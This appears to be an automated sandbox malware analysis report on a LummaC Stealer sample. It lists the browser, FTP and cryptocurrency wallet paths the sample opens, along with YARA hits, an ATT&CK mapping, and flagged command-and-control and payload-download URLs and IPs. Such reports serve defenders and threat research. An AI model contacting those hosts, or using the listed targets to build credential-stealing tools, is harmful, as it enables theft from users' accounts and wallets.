Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1408564784.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1438497350.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1409004952.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1408596086.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1362364363.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1386013914.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7476, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/Hf	100%	Avira URL Cloud	malware
https://cook-rain.sbs/zf	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Wf	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api_	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Af	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apibe	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeI	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	104.21.66.38	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_114.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_114.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_114.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_114.7.dr	false		high
https://cook-rain.sbs/Hf	file.exe, 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://cook-rain.sbs/apibe	file.exe, 00000000.00000003.1408564784.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409004952.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1408596086.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_114.7.dr, chromecache_77.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://github.com/gewarren	chromecache_114.7.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1677932889.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/zf	file.exe, 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_114.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_114.7.dr	false		high
http://185.215.113.16/steam/random.exeI	file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://polymer.github.io/PATENTS.txt	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/certhelp	chromecache_95.7.dr, chromecache_106.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_114.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_106.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/Af	file.exe, 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1409785143.00000000057C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_114.7.dr	false		high
https://cook-rain.sbs/apigs	file.exe, 00000000.00000003.1608864817.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_114.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://github.com/adegeo	chromecache_114.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_95.7.dr, chromecache_106.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1408794426.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/Wf	file.exe, 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/js-cookie/js-cookie	chromecache_95.7.dr, chromecache_106.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1608807253.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_114.7.dr	false		high
https://channel9.msdn.com/	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1362400904.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1362301330.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_95.7.dr, chromecache_106.7.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1410078030.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api_	file.exe, 00000000.00000003.1608864817.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.66.38	cook-rain.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559587
Start date and time:	2024-11-20 17:40:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 172.217.19.238, 2.18.86.16, 74.125.205.84, 172.217.21.35, 2.20.41.214, 34.104.35.123, 20.42.65.93, 142.250.181.74, 142.250.181.10, 142.250.181.138, 172.217.19.234, 172.217.19.202, 216.58.208.234, 142.250.181.42, 172.217.17.74, 172.217.17.42, 142.250.181.106, 104.86.110.81, 2.16.34.35, 104.86.110.35, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.67, 172.217.17.46
Excluded domains from analysis (whitelisted): onedscolprdeus20.eastus.cloudapp.azure.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, clients2.google.com, go.microsoft.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcps
Execution Graph export aborted for target file.exe, PID 7476 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:41:22	API Interceptor	40x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	http://finaltestwebsite.duckdns.org/UpdateVerifyPrss!/RBC/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145e	Get hash	malicious	Unknown	Browse
	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	Unknown	Browse
	https://url.uk.m.mimecastprotect.com/s/KmJpCzK8Xiv1VmXPt4fKtv1nCx?domain=nasunifiles.s3.amazonaws.com	Get hash	malicious	Unknown	Browse
239.255.255.250	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse
	https://vendor.ziphq.com/magic-link/b47e3e5c-c77a-4377-b922-4ceee97070f7	Get hash	malicious	Unknown	Browse
	https://amstoree.z13.web.core.windows.net	Get hash	malicious	Unknown	Browse
	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
